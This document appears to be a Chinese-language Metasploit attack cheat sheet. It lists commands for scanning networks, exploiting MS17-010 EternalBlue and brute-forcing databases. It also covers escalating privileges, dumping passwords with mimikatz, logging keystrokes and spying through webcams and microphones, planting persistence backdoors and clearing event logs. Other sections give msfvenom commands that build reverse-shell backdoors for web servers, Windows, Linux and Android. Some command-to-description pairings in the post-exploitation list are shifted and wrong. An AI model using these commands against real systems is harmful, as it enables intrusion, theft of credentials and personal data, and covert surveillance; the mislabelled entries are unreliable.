1 #ms17-010 2 use auxiliary/scanner/smb/smb_ms17_010 3 set rhosts 10.31.0-128.1-254 4 set threads 512 5 exploit 6 7 use exploit/windows/smb/ms17_010_eternalblue 8 set rhost 10.31.36.66 9 set payload windows/x64/meterpreter/reverse_tcp 10 set lhost 10.31.30.49 11 set lport 4567 12 exploit 13 14 screenshot
信息收集 auxiliary/scanner/discovery/arp_sweep auxiliary/scancer/smb/smb_version 存活的445主机 auxiliary/scanner/portscan/syn 端口扫描 auxiliary/scanner/telnet/telnet_version telent服务扫描 auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描 auxiliary/scanner/ssh/ssh_version ssh主机扫描 Use auxiliary/scanner/smb/smb_version Set rhosts 192.168.201.1/24 //设置目标主机地址 Set threads 30 //设置扫描线程 Run //执行扫描命令 爆破 auxiliary/scanner/mysql/mysql_login auxiliary/scanner/mssql/mssql_login uxiliary/scanner/ssh/ssh_login use auxiliary/scanner/smb/smb_ms17_010 //使用永恒之蓝探测模块 show options 查看需要添加的信息 set rhosts 192.168.205.1/24 //设置扫描目标主机IP地址 set threads 30 //设置扫描线程 use exploit/windows/smb/ms17_010_eternalblue //使用永恒之蓝攻击模块 set payload windows/meterpreter/reverse_tcp //设置一个Payload,使攻击机接受来自目标主机的session set rhosts 192.168.205.150 //设置目标主机地址 set lhost 192.168.205.148 //设置接受payload的地址,我们这里设置MSF的地址 set LPORT 5555 // 设置接受的端口,这个自己自定义,只要不与其它端口冲突就可以 Exploit //执行攻击命令 权限提升 use exploit/windows/local/bypassuac //将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。 set session 1 //使用sessino 1 Exploit //执行权限提升的攻击模式 Windows权限提升绕过UAC保护(内存注入) use exploit/windows/local/bypassuac_fodhelper set session 1 Exploit 方法三:通过COM处理程序劫持 use exploit/windows/local/bypassuac_comhijack set session 1 Exploit 方法四:通过Eventvwr注册表项 use exploit/windows/local/bypassuac_eventvwr set session 1 Exploit 其他 通过incognito中的add_localgroup_user提权 域提权 - ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc cat //查看文件内容 Getwd //查看当前工作目录 Download //下载文件到本地 本地创建一个1.txt,将1.txt上传到目标服务器的桌面位置: Upload /opt/1.txt 目标主机 Download 目标主机文件 本地文件路径 Ipconfig/ifoncig //查看目标主机IP地址; arp –a //用于查看高速缓存中的所有项目; route //打印路由信息; netstat -na //可以显示所有连接的端口 Rdesktop //使用rdesktop来连接 -u 用户名 -p 密码,这个命令需要在kali上面安装一下。当我们获取到管理员账号密码的时候就可以直接本地远程登陆目标主机。 run get_local_subnets //获取网段 run autoroute -s 192.168.205.1/24 //添加路由 run autoroute -p //查看路由 run autoroute -d -s 172.2.175.0 //删除网段 run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。 meterpreter > background //后台sessions 系统信息: Ps //查看目标主机的进程信息 Kill //杀掉某个进程 Getuid //查看权限 Pwd 查看当前目录路径(目标主机) Sysinfo //查看目标主机信息,比如版本信息等 Shutdown //关机操作(谨慎操作) Run post/windows/gather/checkvm //查看目标主机是否为虚机; run post/windows/gather/enum_applications //获取目标主机安装软件信息; Run post/windows/gather/enum_patches //查看目标主机的补丁信息; run post/windows/gather/enum_domain //查找目标主机域控。我本地没有域控; run post/windows/manage/killav //关闭杀毒软件; run post/windows/manage/enable_rdp //开启3389远程桌面; run post/windows/gather/enum_logged_on_users //列举当前登陆过主机的用户; run post/windows/gather/credentials/windows_autologin //抓取自动登陆的用户名和密码; run post/windows/manage/enable_rdp username=xxx password=xxx //添加远程桌面的用户(同时也会将该用户添加到管理员组) Load命令是加载模块的,在测试中用的最多的就是抓取用户密码的这个模块。 load mimikatz //加载mimikatz,用于抓取密码,不限于明文密码和hash值; Run hashdump //获取用户密码hash值 msv //获取的是hash值 Ssp //获取的是明文信息 wdigest //读取内存中存放的账号密码明文信息 mimikatz_command -f samdump::hashes //获取用户hash mimikatz_command -f handle::list //列出应用进程 mimikatz_command -f service::list //列出服务 后门持久化 权限维持 Persistence模块 Run persistence -h //查看帮助信息; run persistence -U -i 5 -p 5555 -r 192.168.205.148 -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数; -i:设置反向连接间隔时间,单位为秒; -p:设置反向连接的端口号; -r:设置反向连接的ip地址。 Metsvc 模块 痕迹清除 clearev Run getgui -e //开启远程桌面; Run getgui -u cmdback -p 123123 //添加用户 Run getgui -f 4446 -e //将目标主机上面的3389端口转发到4446 netsh advfirewall set allprofiles state off //关闭防火墙 Webscan_list //查看摄像头列表; Webscan_stream //摄像头视频获取; Webscan_chat //查看摄像头接口; steal_token 试图窃取指定(PID)进程的令牌 use incognito //加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户) list_tokens –u //列出目标主机用户的可用令牌 list_tokens –g //列出目标主机用户组的可用令牌 keyscan_start //开启键盘记录功能 keyscan_dump //显示捕捉到的键盘记录信息 keyscan_stop //停止键盘记录功能 run post/windows/gather/enum_chrome //获取谷歌缓存 run post/windows/gather/enum_firefox //获取火狐缓存 run post/windows/gather/enum_ie //获取IE缓存 screenshot //截屏
数据库相关 - PostgreSQL
PostgreSQL auxiliary/scanner/postgres/postgres_version #版本识别 auxiliary/scanner/postgres/postgres_login #暴力破解 导出数据 auxiliary/admin/postgres/postgres_sql auxiliary/scanner/postgres/postgres_hashdump auxiliary/admin/postgres/postgres_readfile #读取本地文件 exploit/linux/postgres/postgres_payload #RCE(postgres服务账户具 备/tmp目录的写入权限)
数据库相关 - Mysql
判断Mysql数据库版本 nmap的指纹识别可以精确的判断数据库的版本号,而metasploit提供的模块的特点就是能够判断数据库是否允许外链 msf > use auxiliary/scanner/mysql/mysql_version msf auxiliary(mysql_version) > set RHOSTS 10.211.55.10 如果允许外链则可以显示版本号" 如果数据库允许外链,则能暴力破解密码 这个模块没有默认字典,新建passs.txt msf > use auxiliary/scanner/mysql/mysql_login" 枚举数据库信息 msf > use auxiliary/admin/mysql/mysql_enum 枚举的信息包括mysql版本号,操作系统架构,路径和密码hash等一些信息 导出密码hash 可以导出在当前登陆用户权限下可以查看账户的密码hash msf > use auxiliary/scanner/mysql/mysql_hashdump" CVE-2012-2122爆破(影响范围很小) UDF提权 Metasploit提供的exploit适应于5.5.9以下 利用Mof提权 "这个模块的好处是通过用户名和密码可以直接返回一个meterpreter会话 msf > use exploit/windows/mysql/mysql_mof" 枚举账号密码 "use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run 通过账号密码获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。 use auxiliary/admin/mysql/mysql_enum set username root set password root run 执行mysql语句,连接成功后可以在msf执行sql语句 use auxiliary/admin/mysql/mysql_sql 将mysql_schem导出到本地 /root/.msf4/loot/文件夹下 use auxiliary/scanner/mysql/mysql_schemadump 文件枚举和目录可写信息枚举 "auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs" 使用账号密码对IP段进行数据库连接 "use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set password root set username root run 使用账号密码字典对IP段进行数据库连接 "use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run 安卓渗透模块 msf > use exploit/multi/handler 设置模块 msf exploit(multi/handler) > set payload android/meterpreter/reverse_tcp 设置payload为反向tcp连接 msf exploit(multi/handler) > show options 查看参数 set lhost 192.168.11.111 设置本地的IP地址 set lport 5555 设置端口,跟前面生成木马连接的端口号要对应一样 msf exploit(multi/handler) > show options 查看参数 msf exploit(multi/handler) > exploit -j msf exploit(multi/handler) > sessions -i 1 meterpreter > sysinfo meterpreter > dump_calllog
后门生成:
jsp: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.jsp php: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php asp: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f asp > shell.asp aspx: msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx apk木马: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.apk Windows exe后门: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 X >test.exe Linux:、 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 X >text
Shell反弹
(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444: msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php (2)在独立IP或者反弹服务器上运行msf依次执行以下命令: msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 192.168.1.3 //192.168.1.3为反弹监听服务器IP show options run (3)上传并执行php文件 将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell http:// 192.168.1.2:8080/test.php
后渗透
查看进程 ps 注入进程 migrate 查看远程桌面 查看文件 run vnc 编辑文件 cat 上传文件 edit 下载文件 upload 删除文件 download 创建文件夹 rm 删除文件夹 mkdir 查看会话 rmdir 退出当前会话 sessions -l 在线用户数 backgroud 让键盘失效 enumdesktops 恢复键盘 uictl disable keyboard 音频录制 uictl enable keyboard 开启摄像头 record_mic -d 10 桌面抓图 webcam_stream 系统信息查询 screenshot 获取最高权限 sysinfo getsystem 密码hash hashdump 搜索 search search -f *.jpg download 打开前置或后置摄像头 webcam_stream -i 1/2 检测root check_root 下载电话记录 dump_calllog 下载信息记录 dump_contacts 定位,需要下载谷歌地图 geolocate